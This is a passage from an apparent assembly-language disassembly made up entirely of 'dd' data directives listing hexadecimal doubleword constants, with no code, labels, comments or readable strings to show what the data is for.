		dd 37D744CAh, 0E6E612C7h, 0B8302213h, 0B00D40A3h, 0FEC681BDh
		dd 62D070E6h, 69B70142h, 9D2971E4h, 0A28B544Dh,	8EFD00D2h
		dd 7841E7E6h, 1624977Bh, 0B5094102h, 400D23E1h,	3055FAE4h
		dd 0D0F3574Eh, 205BD0Ch, 0DB58B729h, 9D0B1C8Ah,	0B6B42FD2h
		dd 21392585h, 0D22D2BF9h, 21B98Fh, 40E0A835h, 523E2E0Ah
		dd 0E1970171h, 5BB36C0Eh, 0CC13142Eh, 132E4510h, 0EC04C82Bh
		dd 3B84169h, 8AB57E7Eh,	89D90A99h, 4C20A17Eh, 15CD00E4h
		dd 0A058FC65h, 6300D328h, 24F2E71h, 4B098C67h, 485D9h
		dd 0CB0CC33Dh, 0DE318060h, 61F1E614h, 924B20B8h, 0B3211505h
		dd 7F706062h, 610B4029h, 9757E929h, 4BAB6995h, 6460CAA3h
		dd 3ED140CCh, 3CF69195h, 8006BC14h, 0C9F1C2A2h,	59D1017Eh
		dd 0EF46A8EBh, 1658F06Ch, 74682A0Bh, 0C1B302B1h, 835B0132h
		dd 0FE3442A5h, 12211A40h, 266F8981h, 0EB12E803h, 11E601FAh
		dd 13E4260Bh, 0BF78A2FBh, 8FA00395h, 0ED6E177Dh, 0F3814601h
		dd 741E75AAh, 0B290E62Bh, 0F8A13118h, 0BB2CC41Bh, 0FD082951h
		dd 0B95F040Eh, 0FA8ED5D4h
		dd 11355204h, 0D3289314h, 0A6E15FE0h, 0B670F0A0h, 33520660h
		dd 731EF99Dh, 612D3790h, 0FF5688FCh, 0A6C02B89h, 5811299Eh
		dd 0CF4AF1D2h, 0F083460Ch, 3B0CE8F9h, 1DED46Eh,	9D095F72h
		dd 0FB482ED9h, 0F6738105h, 88BFFB94h, 25328996h, 6BBEF644h
		dd 0A79A340h, 139D74BDh, 0CD035A3Ch, 0FE66926Dh, 6E5FCCB3h
		dd 0D3AC4AD8h, 0D6E58B4Ah, 1E27B56Bh, 820F8BB7h, 6DD2E092h
		dd 4AB3E036h, 35E2CA7Ah, 226F33AFh, 89F93917h, 23FAE0A1h
		dd 95EE710Fh, 13B88E49h, 0F5B0C1E7h, 587CA0A8h,	69208D98h
		dd 60F89501h, 742B2041h, 0A094E610h, 4C3ABEABh,	272D3729h
		dd 2AF15DA2h, 4D69175Ch, 48194617h, 3A1DC12Fh, 88BC2F5Dh
		dd 0BA600004h, 66912D37h, 13F1419Dh, 0FA566102h, 35801E51h
		dd 0B3D7C781h, 94955D7Fh, 0BCD574FBh, 0F466F47Dh, 5815016Ah
		dd 22C0B6F8h, 0F24E564Fh, 60D59316h, 8380BEDBh,	0AE5A08Bh
		dd 8D167698h, 3BFD0F59h, 0A0A0E696h, 2F44518h, 3B23E42Fh
		dd 315C5786h, 0EE2E6B25h, 214CBDD1h, 14A99D10h,	50D7325Fh
		dd 11101BD6h, 17CE5F25h, 4F30AD20h, 55F390h, 0D197BF95h
		dd 1481B0h, 0B1CC1692h,	855F1D4Ah, 90A7CA00h, 397B4BBFh
		dd 69E6D435h, 0A4110h, 0BBC60968h, 9452502Ah, 0D78240E8h
		dd 8E00B2A3h, 0BF310FADh, 8D557h, 81585A41h, 0C5F62434h
		dd 372AA42Dh, 517E000Dh, 0B88FB2Fh, 2073A624h, 0B74FD426h
		dd 107BC8h, 1CAABD99h, 0FA85CFA9h, 0BC3D9516h, 77D5E482h
		dd 7380453Dh, 5DBA25A2h, 3C3058E8h, 4A317110h, 9B3B8AC9h
		dd 87A2D777h, 94E2E9C4h, 0B83EE908h, 145003Fh, 439BCB05h
		dd 0BB12666Dh, 0A2E389F7h, 0C7DA8A0Eh, 4FBF1808h, 342B7EC9h
		dd 0DF9BAE56h, 4EBA9C80h, 0D13C9CEh, 8BF04036h,	9C0E4B71h
		dd 954A317Ah, 578939D2h, 0F1E0D6EDh, 22BD2E2h, 1050777Ch
		dd 0E8F0EE48h, 0A0A02348h, 4BE1BD0Bh, 5B58892Dh, 0F813C04Dh
		dd 0B0C5823Fh, 0EE4C5C9Ch, 0B0BBE309h, 0C280920Eh, 5F42DE5Eh
		dd 29690095h, 9715B585h, 4CFE763Ah, 9930BDCh, 218267D6h
		dd 467E2BE5h, 0C8F225h,	0CF54FB68h, 0EFBF66D1h,	0F3C7654Bh
		dd 2E4FAF21h, 0C94ADA2Ch, 0DE9B2E4Ah, 9FF579C0h, 0B5168957h
		dd 55B805A5h, 408B8889h, 2C079559h, 802F8286h, 735C8CACh
		dd 8F040552h, 0BC5B0511h, 9375C060h, 7E44906h, 25F7E0D5h
		dd 6C9830FDh, 5B39DF95h, 0CE89341Eh, 0E5B8EBE9h, 0AA0AEE7Dh
		dd 9BC0F468h, 241FA908h, 6204112Eh, 6CCFB9C4h, 0F19B8A1Fh
		dd 0B9D10F25h, 0EDEE7B8Fh, 116D8F80h, 0B000C9DBh, 59B3CA29h
		dd 0BF6117B5h, 4609D3B7h, 0CD6B40F9h, 0DF56822Ah, 0D120105Bh
		dd 0E781031Dh, 0C49AD939h, 1AA238B8h, 2F4599C6h, 0E177C13Bh
		dd 67AA041Bh, 89BDC564h, 0E13A2BF5h, 0BFD040E4h, 320BC985h
		dd 4BDCABBCh, 25E38A65h, 0F6EF7EC8h, 7609F302h,	960AEE8Ch
		dd 5C9A69CCh, 890C3777h, 0AE85D34Eh, 90FCF28Dh,	0F80527E2h
		dd 0FF9A9540h, 744B5056h, 0AD5EDE04h, 0F04A6BA6h, 82E4C07Ch
		dd 25486C9Dh, 37C170B9h, 93A52F95h, 0BCFE352Bh,	221548E7h
		dd 1F953911h, 0C4810070h, 9FBF4DB9h, 2A73726Ch,	86F04F14h
		dd 485452C9h, 0CEE55BB6h, 8237533Ah, 88941797h,	208DF0FFh
		dd 1CF93B97h, 2B7BDBBCh, 0EB16308Dh, 1897AA40h,	9702B7C1h
		dd 5EBB9D18h, 723D8C12h, 9A4F49E7h, 0FFC78007h,	20EF1C1h
		dd 8772CF81h, 4F5C5484h, 17D13D29h, 0CA127518h,	68E126B7h
		dd 1B540847h, 698D4B1Eh, 6F5963A9h, 5A3989A5h, 194F953Dh
		dd 9D8E6240h, 0FDB42E4Ch, 7EBF1A9Ah, 6A5F767Ah,	0D7F0B7F6h
		dd 7D1CF66Ah, 0D0C59EB8h, 0EC056509h, 0F8292935h, 0AF81206Ah
		dd 0E003F926h, 0F3E7F8ABh, 0AED9A0DDh, 0BD9F3856h, 0C2D3190Fh
		dd 2C9D8DD7h, 8D7180E7h, 540CDD1Fh, 1560B96h, 0A7C6B309h
		dd 0F5CDBB50h, 7696E990h, 6887F099h, 0EF2022Bh,	0D8A596BFh
		dd 0F669947Ch, 0B70713A6h, 8A9D4AEEh, 37A8032Dh, 227550C5h
		dd 963956A4h, 80662526h, 0BD4E3190h, 60B23F12h,	40F44F8Bh
		dd 2D6328F6h, 0F1C0EB9h, 0BF61C1B7h, 7A5096F8h,	0F03CCFC8h
		dd 23890114h, 6B9EFE0Eh, 0FB207F01h, 0F120F9h, 7B3A095Fh
		dd 7C9B8627h, 311396F0h, 8D2D1995h, 1EF1E889h, 13A55F73h
		dd 763FC028h, 8848002Ah, 0A956E02Eh, 23AA1DB1h,	80A1B77Fh
		dd 5416AAEFh, 0DA127CE0h, 0C60547F2h, 47041CCDh, 60AA1621h
		dd 18E629C7h, 0AC9C33Dh, 9695CDFCh, 715BF909h, 0FE624435h
		dd 0C90EE77Bh, 948B501h, 125264A5h, 4B29BD31h, 0E27BC63Ch
		dd 3B34D0h, 750115C1h, 8960AE66h, 2E63857Dh, 256D9D73h
		dd 34C5617Fh, 0D22FEFA4h, 97C1E83Ch, 6D7D2E0Fh,	0FA00EB37h
		dd 8E6E26CAh, 199D1703h, 0D65CBD2Ah, 0A7E34EE6h, 9A2542E8h
		dd 0DD852918h, 4A0F50E1h, 0B4333181h, 7668285Eh, 0E4796105h
		dd 49A66A2Dh, 85F4CBF0h, 0BA1B117h, 256C3515h, 20637B8Bh
		dd 16A128B3h, 4A60EE75h, 0FE715214h, 0C5599370h, 0FD1F016Dh
		dd 66543B39h, 90F2F8BBh, 5003F6B3h, 0A65FD98Bh,	0AFB32020h
		dd 0B38C854Ah, 377E26DBh, 0BD611367h, 7DDB5B6Eh, 0D0529ECDh
		dd 6A5A38D0h, 1AF094B6h, 212A887h, 5DE39D7Ah, 598D0909h
		dd 3A5513C2h, 17357524h, 8BAD1603h, 0ED5EF81Ah,	926FE9Bh
		dd 7B2107BFh, 0F4D12A87h, 4F0781F8h, 84292EE5h,	0ADDF2EEEh
		dd 29025990h, 2BE9B530h, 0B526B350h, 2AFA0991h,	0B736D49Dh
		dd 7F84BB0h, 2B7AE800h,	5121AD64h, 0A2BB0160h, 132E6C8h
		dd 619348BDh, 0EACE912h, 0A7C930E2h, 0DC433008h, 94970C00h
		dd 8EABBE2Ah, 0EB752484h, 52991261h, 0B855ED22h, 0F3CF25E7h
		dd 0A973DC6h, 84135B0Bh, 0FE929FF2h, 0E304B835h, 0BF400580h
		dd 7989BC7h, 0E16E905Fh, 758E8A00h, 0C1B25C3Dh,	0CF812E07h
		dd 24242B35h, 0A75FF9ACh, 67A0E0CFh, 2220907Ah,	0CE961C8Ch
		dd 70260440h, 61DA1CE5h, 0CD5E8069h, 16C959CFh,	0B06AE92Eh
		dd 12119108h, 0A0EE65Bh, 0C43D9D0Bh, 0DD44A5h, 4BCA51F3h
		dd 78FC85C1h, 0F547EC13h, 7EB33A02h, 69215C9Bh,	6ADFF883h
		dd 0C94F68D6h, 12119121h, 3D0F5991h, 98330075h,	0E7EE73B8h
		dd 776302D9h, 3AE1C61h,	0ECC5E056h, 41459ECCh, 4F527C2Dh
		dd 0D1817E90h, 80A70522h, 94B06102h, 0FFC0C72Eh, 0B770E6E0h
		dd 7104E433h, 0A299D31h, 0BC6DCCABh, 0BD5E81A4h, 0B6196EE2h
		dd 2B9D46C8h, 0A258ABA7h, 4C1C0D10h, 0D3810157h, 1B67A115h
		dd 60D40F2Bh, 62A5025Fh, 0E24007FCh, 0D29561D1h, 719D104Fh
		dd 642B370Ch, 2DA633E7h, 0D88A2797h, 0CB034D92h, 0F5480531h
		dd 0B7F01794h, 0A959F1E0h, 0EF6161BCh, 810A943Ah, 2B9B93DAh
		dd 8F5C80Dh, 2EA99E11h,	22C2A904h, 8D92C411h, 0A4D9EE23h
		dd 2181168Bh, 18EC0276h, 0CC6AE145h, 1A448491h,	0A1A5F4FCh
		dd 8E8BFE16h, 0D48891D5h, 4A142851h, 0BD9CD8DEh, 5A13F33Fh
		dd 6F8060DBh, 0B8CCEFA6h, 3C0C3771h, 68F5AC78h,	0DB6A5EFEh
		dd 3C47C06Ch, 14B68668h, 0BFF47D9Ah, 5220E70Ch,	5A25C70Ah
		dd 0C113F404h, 12AE19Dh, 0C83FBCB9h, 8895D8F2h,	3ED6449Fh
		dd 720FAE57h, 0AD2A5BD2h, 27F508E6h, 1109FC12h,	0B81E2575h
		dd 877EABh, 0EE180B0Ah,	17CC87BEh, 531E5F50h, 2908BE25h
		dd 0D22B091Bh, 97DC7C56h, 75D61929h, 0ACEA4D25h, 501D698h
		dd 0A06C15FAh, 0FA38FE8Ah, 4433C112h, 0E7880D37h, 7942B083h
		dd 0F1DF01CBh, 1A58265Ch
		dd 0D6143CF9h, 954AA9A3h, 0C17ABFF3h, 76611101h, 2B6AEFB4h
		dd 3D51F62Bh, 0BF30947Eh, 4980F9DBh, 3B8546AEh,	294D1002h
		dd 911E18Dh, 3E44E451h,	0FD923754h, 0B17BCD1h, 0D3AA5AEDh
		dd 0AF8A9300h, 9A953F5Ch, 1E0CE0B4h, 0E1FF26F4h, 0EDD0922h
		dd 0CDC47359h, 8866A252h, 30EDAFDBh, 1D92E5C0h,	1F5F0497h
		dd 0F24F29FFh, 39F40047h, 7B08446Ch, 327000DDh,	0DBD3405Fh
		dd 0D1057753h, 51467290h, 98E7C8Ch, 8C3E12D5h, 0A2290D7h
		dd 0F45A122Fh, 84B1B24Ah, 9EBA0447h, 95168069h,	4361E41h
		dd 4F8B2053h, 1CC7EF99h, 6F6017D8h, 80840143h, 23507A29h
		dd 5B21227Eh, 4225AD56h, 80E3B789h, 0B5C0CFBEh,	660453B8h
		dd 5B3E8CBFh, 4522AFADh, 3D27CC98h, 2F5309h, 54889E5Dh
		dd 1A0197E2h, 0FD492175h, 757F7AB3h, 0A7FDA692h, 29387010h
		dd 60B13802h, 313BD4h, 2F7172BDh, 0B1F4579Bh, 1512E207h
		dd 59196154h, 0CACDA7EAh, 505F82C0h, 59E102C8h,	0C53FB1DBh
		dd 900DF84Ch, 350A870Fh, 306A8DD9h, 50440CC7h, 851BBF3Eh
		dd 29907614h, 4F349E12h, 0FD0095E2h, 9EB293A1h,	10083F7h
		dd 0C60D59DBh, 264D6C68h, 20730F4Ch, 0CD799717h, 0B8BB7BEh
		dd 1F167009h, 25534E93h, 84C08A4Dh, 5D5691Dh, 8C8F4953h
		dd 4BDFF3B1h, 1CA21488h, 89A5DD8Eh, 6C56488Ah, 1447DAC5h
		dd 4FE0521Ah, 0F84AD773h, 0E9024B11h, 4C5E84Ah,	4396E534h
		dd 0D4C5ACF9h, 2D19104Bh, 7BC9954Ah, 5FCB00DEh,	0D1E88423h
		dd 0CE7B1783h, 68265A2Ch, 0E19D00C4h, 162BF8D0h, 2979CF5h
		dd 659CB299h, 0B04454C0h, 4EAE4EDAh, 94A9E83Dh,	0A2DC1215h
		dd 0A64AE8B3h, 0FA25E0CEh, 0E8183A35h, 0EE720888h, 2A3BEF01h
		dd 883F0689h, 0D503FD7Fh, 0BD1B2B0Fh, 188202A4h, 5F309024h
		dd 6F94D84Ch, 0C1FC3C40h, 0A32D38D0h, 0BCDD8F00h, 7C52FB89h
		dd 0BF312C01h, 61DD658h, 446AE41h, 17DF3470h, 1BB5196h
		dd 5B415994h, 2CC0E650h, 28FEE52Ah, 5BE29295h, 0C7227841h
		dd 4A3AC948h, 508171A2h, 171B8E0Fh, 75F35275h, 0F44086Bh
		dd 0CE97F601h, 3EC430D0h, 0CC5FF9D4h, 60778B26h, 543810BFh
		dd 0D35500F0h, 3BA8A69Eh, 7452C315h, 615F122Eh,	0DDBFCC00h
		dd 0A360D3D7h, 0B557A863h, 6158398Ah, 0E02BB64Eh, 264F0DDh
		dd 89F2BC10h, 27D6101h,	55094134h, 0B2D694BAh, 916F9840h
		dd 81720017h, 6C8B4ED3h, 93B55B27h, 6EAEACD7h, 5160986h
		dd 62C10B33h, 0EB175EA9h, 635005FBh, 9DA1A0F1h,	3D2BFBA9h
		dd 956E6ADCh, 0C0682600h, 3B0C8314h, 56D88A24h,	2BB2DE12h
		dd 6A36468Dh, 9BC21CDBh, 0F8D46373h, 9A2A1508h,	0B0D42537h
		dd 8E824BDCh, 5A0FB823h, 17BCD88Fh, 25555482h, 25380E65h
		dd 49EBD05h, 8012F07Bh,	0A51A67CFh, 89D61402h, 57201DB5h
		dd 0C820C31Ch, 8DBB3C04h, 86B2BF7Dh, 96805F12h,	1185FDE9h
		dd 0BBFF6E95h, 0C47D50F6h, 7094B504h, 9EAB2E3h,	99594381h
		dd 95BD0B82h, 0E9F25627h, 0FBC0CF6Dh, 2A8262Ch,	2D285ABBh
		dd 0AB423CEBh, 968371FCh, 0D8E2F0BFh, 0E556501Ch, 8ACB146Ah
		dd 6367312Ch, 8D88B791h, 857FA515h, 22246200h, 33F04211h
		dd 0B37809C9h, 21702B87h, 97F6964Eh, 39E04BF3h,	9A01C61Ch
		dd 89732E6Dh, 5D3EE59Dh, 13F18BE1h, 387ACEFBh, 5ADDCC6h
		dd 793A17E9h, 0DF63F813h, 0C43210E5h, 4E110076h, 0E2CD433Bh
		dd 64090AD6h, 715FE0A2h, 0A5E2A180h, 42803DB7h,	5E48E020h
		dd 810F1216h, 2570FE18h, 0E3D3A8h, 2787EFA7h, 0EE0C6812h
		dd 0FCBB8A00h, 9223ED56h, 0B51A977Bh, 720B7F5h,	670C40D2h
		dd 0D471D9DBh, 5695098Eh, 0D5AD54C4h, 73C46BD2h, 3FFF8500h
		dd 0B380D803h, 0D308979Eh, 4154A778h, 25A4AA40h, 83C7008Ch
		dd 0B3DDE4D1h, 72B8305Ah, 2CC8B95h, 571BAF63h, 8476333Ah
		dd 117239D4h, 54E1DD00h, 0FB40F795h, 0CABD8975h, 25EC5621h
		dd 3860D74Fh, 1080620h,	0FB8B051Dh, 6F31BD23h, 5C1ACC89h
		dd 0BA5B0BC0h, 2F0549B3h, 160F0AA3h, 0B74AB1B8h, 0DED105Ch
		dd 3D8D89A0h, 5E5085C9h, 88B44041h, 3DB0E01Ah, 0A5B0F500h
		dd 853B38F2h, 2760989Eh, 1A4A08D8h, 0B100F4D9h,	6B4E41E5h
		dd 9D030991h, 0DB1C16C1h, 0CC359Fh, 0D300FD4h, 0E91443B7h
		dd 3AE85Dh, 0E4B4753Fh,	4AB32C96h, 963FE2FCh, 0A0A0FAB6h
		dd 2B0962FAh, 0D109359Dh, 0DC560974h, 3E44E271h, 7FD32458h
		dd 7950A527h, 7A2F05ADh, 0A100BF38h, 0F48AF105h, 7F760ABAh
		dd 1CA6CF29h, 0DB2FA1E7h, 0B1097AAFh, 0D8F0A7FBh, 0ACE5008Ah
		dd 9FD4193Bh, 6028CB2Bh, 130035E8h, 0D10D52D2h,	99FB4Eh
		dd 0B4E1BDC6h, 115BB830h, 2427391Dh, 465127h, 0A01D4593h
		dd 0C004CE87h, 61F85F5Eh, 10D21ABCh, 0E84B30BFh, 0CEF53DB9h
		dd 0C34C3960h, 8C6F049Dh, 0B2613691h, 5E1D0068h, 28A48F51h
		dd 0C4A15F47h, 0F7855323h, 15CB0C1h, 3FAF02FEh,	81BC95F3h
		dd 5F9D625Dh, 75561609h, 0D65AF6E9h, 69B08916h,	78B56C09h
		dd 463C9740h, 0CC58739Bh, 5A191F09h, 0B96B523Eh, 0EDB6D698h
		dd 946ECCA0h, 101E5313h, 0F2001FA2h, 0CA50F18Bh, 9047184h
		dd 0C6FBC934h, 921D00A4h, 461C9794h, 13919D11h,	0FAF29A12h
		dd 0BC00147Ah, 833D92C5h, 0E004FB87h, 0C18B865Dh, 0CB109FEh
		dd 2B8E4B7Bh, 722D2BBDh, 0E9C790F6h, 2F18F224h,	5B376AF2h
		dd 0ADAB3381h, 0C9C8D68Eh, 898016CDh, 852EB585h, 1659D6Ah
		dd 600FC8AAh, 16DDA6C4h, 0AD9D3301h, 1361030Ah,	0FD7168B4h
		dd 2691E8E0h, 8F3F9FAh,	0C2251DFDh, 0DE2BF651h,	0BD0B4E0Bh
		dd 0B32522D1h, 952BD566h, 6100C73Dh, 8FD8085Bh,	91FEC9A5h
		dd 23FBFD62h, 274F7D0h,	14BAA2C6h, 9B75D0FDh, 0BB520295h
		dd 3DB34EB0h, 4FAF5B5Eh, 4A924131h, 52B36AB0h, 0B9F72403h
		dd 9AF9134Eh, 3505D038h, 77FE1916h, 1CAAABACh, 0B9C148CBh
		dd 1A7B6F82h, 0ED530F6Eh, 0CD560497h, 13B8122Eh, 131A8711h
		dd 32A8F860h, 0C47CAA80h, 0CF00B24Ah, 9663C294h, 2795FE1h
		dd 0EBF02A8Eh, 0A55E6191h, 0BB147551h, 2F1B3AC6h, 0D97B026Ah
		dd 2262370h, 0E3508015h, 0BF4082D2h, 0C461F5D7h, 9139CB0Ah
		dd 2C622FBh, 3604B724h,	64CFCDA5h, 4D0B6017h, 23D85A09h
		dd 0FEC8BE05h, 1C316643h, 0E95FE485h, 0FB1C57CAh, 5ACB7248h
		dd 0AAD2FEDBh, 0B4880912h, 24E600CDh, 444E1026h, 8D3B6692h
		dd 659A07CEh, 0D143D28Bh, 0FFE8A4BDh, 0D3FCADD2h, 5EA8C0A9h
		dd 30001E90h, 0BB515046h, 4E7CDCA0h, 7B8EE543h,	0EE2E326Eh
		dd 71508FDh, 0BD01893Ch, 4B6750D5h, 59C9CA5Bh, 5EEAAD77h
		dd 8EAE397Ch, 0BC504506h, 971E22A4h, 0F960B530h, 61D58A16h
		dd 70D0DEADh, 0F5125AFCh, 0E06FFF6Ah, 0FD411200h, 7D23A6FBh
		dd 0C28036B8h, 5CB8C0F2h, 26E6ABFh, 0D53169A1h,	1D44C094h
		dd 0E0DD4A8Ah, 0D99F86A9h, 505A474Bh, 6A3E48C0h, 371F2700h
		dd 0E62FB814h, 452BE70h, 0B871E41Ah, 0CB924B0Bh, 0E11A2BEFh
		dd 4309E1D9h, 4725ED2h,	0BC5F4DD5h, 239584D7h, 5D10173h
		dd 39840921h, 0BCF89960h, 9D2B0BD7h, 70732961h,	0DE8A3DD2h
		dd 0EF51C8A5h, 43ECF400h, 3BE8058Ch, 8B944E88h,	6912F3D1h
		dd 6B64AF0Eh, 2E084F82h, 0D0282C6h, 7ED88B39h, 0DC010527h
		dd 0B151E47Ch, 5B05C2EFh, 9DAB46ABh, 12DC6135h,	5654BF01h
		dd 482F22D5h, 0AAA413E3h, 56005511h, 4C8A24BBh,	1F985B33h
		dd 74045D25h, 11D7E89Eh
		dd 0E7800903h, 11E879BCh, 62D04030h, 0A5507C7Dh, 3115FE1Ch
		dd 6DAA5185h, 986ED2B8h, 0E6003D1Ch, 0D64AB054h, 0FC4C91E2h
		dd 8ABF0989h, 0FE7B5FFAh, 13FEA805h, 3ABCB6B9h,	60D05E0Bh
		dd 89D02109h, 0BA68059Dh, 0D0E65F25h, 0A8B86000h, 61747EDFh
		dd 9622EB9h, 0F1C944FEh, 0D4132EA1h, 1676EABh, 36F75BA6h
		dd 5AE3FC4Ah, 0ADD3C52Eh, 693D8042h, 4B17D535h,	770DECFCh
		dd 0D2B2F44h, 0A99509C0h, 6FD2E113h, 0F136A820h, 0E0310E15h
		dd 23879673h, 337BA076h, 1D24A9EAh, 5D04DF7Ch, 0AEBC5FF3h
		dd 0D8D780F0h, 0B17853B3h, 80A95FDBh, 1369EB90h, 0DA40D19Ch
		dd 7A59C6FDh, 82F0042h,	0C3C8A27Ch, 0C49FD139h,	0F7800A8h
		dd 4D8AB014h, 982C8612h, 88166A95h, 0D3C090E9h,	8F775196h
		dd 252DEA00h, 3A3E187Bh, 0F56602CAh, 5B4EE076h,	0DBAF00D3h
		dd 0E10A5028h, 1CA90B12h, 66D09A01h, 342F1E90h,	0BCC0B8E1h
		dd 0DE1D4B05h, 791680F9h, 5C117847h, 127538B8h,	0F21C2E4Fh
		dd 5D6789BFh, 56824DBDh, 0D2F98B46h, 844DBD1Eh,	404DA0E1h
		dd 0ECA8256Fh, 7306255Fh, 17809795h, 0FF6E819Eh, 80A538E1h
		dd 2A1CBD03h, 57332556h, 4B11E8E5h, 6980155Ch, 605027B5h
		dd 0E5A7891Dh, 9E9DC080h, 124ABC48h, 0F2BF6CBAh, 0D14289FFh
		dd 0AE70490Ch, 80F5FF61h, 0F16BCFEFh, 0BCBCFFD4h, 806E4F63h
		dd 75A0803h, 44A887BAh,	0B1628FA4h, 0F6B585B0h,	0BACA4052h
		dd 72C46136h, 99BCAF67h, 73F16E5Eh, 5F51CE12h, 4A0C92F4h
		dd 0A4CAE701h, 0B1225987h, 0B7385515h, 0EE09F381h, 7B137969h
		dd 1ECDAD6Bh, 1A31CF40h, 76BE094Fh, 2598E75Bh, 3E0046C9h
		dd 857FC258h, 0BB2252Ah, 9A837A10h, 5B94582h, 51505F01h
		dd 0BF3B167Ch, 5C707FA5h, 6F489A08h, 30E62F33h,	746B597h
		dd 0A0EAC0DEh, 4BF9BFB7h, 0C1087E27h, 316E0684h, 7F1C0h
		dd 24D12868h, 25B15369h, 0D2D784C0h, 0BF047679h, 10A576Dh
		dd 9BD64CACh, 0AEC880DDh, 1BD1157h, 4BC78192h, 2F3D3B99h
		dd 57FB8067h, 24E9E822h, 7AB742E8h, 9D59B097h, 881EEB91h
		dd 0B42DC019h, 800245DCh, 0D9BD2320h, 43165718h, 3E1C359Fh
		dd 0D375DC0Ch, 0F6E0DD6h, 922DCE57h, 81C044B9h,	1C4BF7D3h
		dd 8C0F4712h, 0FD4F01B3h, 4D892FEEh, 0F709E3FAh, 0C42692F1h
		dd 975A3BF2h, 89FD45C4h, 0C95AFC4Bh, 0B3A03061h, 4B8997C4h
		dd 5DC8CD4h, 0ACDC0DBFh, 2BEE860h, 9D2BFB4Bh, 0AD057485h
		dd 0F29D650h, 0AC3B9F8Fh, 9B60BF52h, 2D1D925h, 0EABFF2E2h
		dd 9A4156FDh, 33162F53h, 6EAEFA84h, 7F2700ADh, 34632850h
		dd 2010B72Bh, 0B3011B91h, 0EEDAD0D8h, 0C7C0ABE8h, 13350977h
		dd 0BE7973B0h, 63E590A7h, 0DE580F9Ah, 0BAA337B4h, 68C84CBBh
		dd 0A027FC78h, 0A44CAh,	0B7D1B450h, 0BCAFA577h,	0C602637Eh
		dd 46FD5ADEh, 0F89075AAh, 383E14B7h, 0E0DA807Dh, 0FC9EE942h
		dd 52840EABh, 0B8525B5Fh, 78704ADh, 1881357Eh, 742F0FD9h
		dd 0E06FB666h, 9CB529ACh, 0CD509444h, 0C0DF8B14h, 5A7D844Bh
		dd 877B82C1h, 0BE5AC70h, 143DBD33h, 0CA7D2B6Ah,	0C83A4D15h
		dd 296E6260h, 51EB841h,	0ADC96D1Dh, 6B8B7B13h, 17D40CDCh
		dd 0F8AA5E34h, 0C4512EBCh, 9CE2FE12h, 4135238Dh, 6F37E978h
		dd 28C9BB9Eh, 24D76679h, 5F90BD5h, 3B80B93Dh, 3C35668Ah
		dd 162F27F6h, 465D589Ah, 9726B037h, 14208E14h, 0CF575004h
		dd 8C3A14CFh, 0CB7CE5Fh, 0B52F8929h, 8B6A0239h,	5984FBD9h
		dd 0B9F41917h, 8B7C36EDh, 3A975B74h, 5CB55F86h,	5C6C9100h
		dd 0EC12E653h, 2D9D1809h, 45BF5033h, 49922512h,	0BE47ABE2h
		dd 0AE3DBFA0h, 0A2ABB20Ah, 0DF01896Dh, 2825BD09h, 81B2702Fh
		dd 9EF297E7h, 0B5EC5E62h, 0A81AD71Eh, 315EAF57h, 75697D01h
		dd 2A650D3Eh, 26618D9Ch, 0C0AD1004h, 0B439EC4Ah, 6E35C801h
		dd 611CE263h, 0BC22342Fh, 8401CF3Ch, 2EBD3071h,	0EFB70FC4h
		dd 0F2B51512h, 0F039F62Eh, 97DDCB80h, 7DDBF01Ah, 64A28173h
		dd 7632CBF8h, 99244867h, 0ABBD4135h, 1823326Bh,	0FE8E0501h
		dd 0F860551Eh, 0BBABB1D3h, 0AD198280h, 0C37E2B44h, 611AD712h
		dd 0DB2B23F1h, 5637895Ch, 0F65A259Dh, 28DDFB4Bh, 7A06676h
		dd 0E12FA83Ch, 0E56802B9h, 6E225EBDh, 97D7A8D2h, 7CE86CADh
		dd 0A5E1ED3Eh, 596873F9h, 0B231818h, 0E4105CFBh, 54D32798h
		dd 3FB00F00h, 9A43D28Ah, 86C505B8h, 0E81B6449h,	7A9171C7h
		dd 0A800A647h, 0C5C62D85h, 85D827E9h, 0BA84AEC1h, 7C49C0D7h
		dd 5F61AFF0h, 166F2F1Dh, 92091523h, 0C5A4023Bh,	0C73A5731h
		dd 0F9C15287h, 3371C75Ch, 0B0B6B72Bh, 0C0E6E1h,	965DA4A2h
		dd 0A8EBF66h, 8FBB5038h, 7672C93Dh, 6D9EA05h, 81607560h
		dd 52AA05EFh, 0AE617540h, 819A0C74h, 66CC3DC0h,	1A139957h
		dd 33083CA7h, 0DC609D0Eh, 8D512582h, 2C16564Bh,	1A46D4BDh
		dd 0A099BD00h, 7A4D62E3h, 4591035Ch, 9E522BB9h,	0BF37AFEh
		dd 0DE9D2BC4h, 0EEA7A08Fh, 0A11C971Eh, 8D7E5F45h, 85742BB4h
		dd 0F9A893E9h, 9F0A9305h, 12EF91C1h, 0B1C852FEh, 0F7F62A7Bh
		dd 9F199DE1h, 22A51D4Ch, 5C296525h, 6ED17A9Eh, 9EDC7C2Dh
		dd 0B8B19202h, 0E5C54EE8h, 25BFBDB0h, 0C973C426h, 40336DADh
		dd 0FBC05537h, 0E56D1B05h, 0F6F86275h, 0C126BC5Bh, 3F9B1780h
		dd 82D5F5F4h, 90244D6h,	0F56A6B39h, 0FC9A0719h,	0BB01D405h
		dd 67ACB1D6h, 51D49506h, 165F3558h, 6883AB2Eh, 8AFD0B2Dh
		dd 72E461ECh, 9952E00h,	5F5BCE70h, 4E0E0D33h, 0ECECFCDAh
		dd 62E1480h, 30125709h,	810F7CE2h, 50C773DFh, 0B8602070h
		dd 0E812B641h, 6C46178h, 84019BABh, 23BAAB86h, 5BC0E7BAh
		dd 7407DD97h, 0F0DC1194h, 1A157C8Ch, 667849F1h,	0AC53C561h
		dd 1909830Ah, 0EF38F70Bh, 497BBD01h, 0BCA5CE95h, 0F3704093h
		dd 0C901EDF4h, 0C1AC2B62h, 6E6AD1FFh, 6188001Bh, 5AFC9F4Fh
		dd 0C6221743h, 7E0AB030h, 0C55FE225h, 0DE741209h, 0CC7EC43Eh
		dd 6C807C85h, 9704E5BDh, 0AB54291Ah, 4CFB72D4h,	91101042h
		dd 0CF810329h, 0C21A7363h, 1E4650h, 7BFE3558h, 28537E3Bh
		dd 0FA5D2C09h, 8226743Dh, 1C4033F3h, 84B76FCCh,	8B88E70h
		dd 4807AE1h, 18A165C0h,	0D29F9B10h, 0F58A6875h,	0BFD0501Dh
		dd 0CCC94ACDh, 894A0FF7h, 3DE7188h, 0DBC5BF50h,	0C35B0D5Eh
		dd 0F01CD6Eh, 0E08A65F3h, 436E3C12h, 0FB670199h, 9226C680h
		dd 1612E4C0h, 0AD6B0A97h, 8C1AB8AAh, 0E2E43FFFh, 0A60BD96h
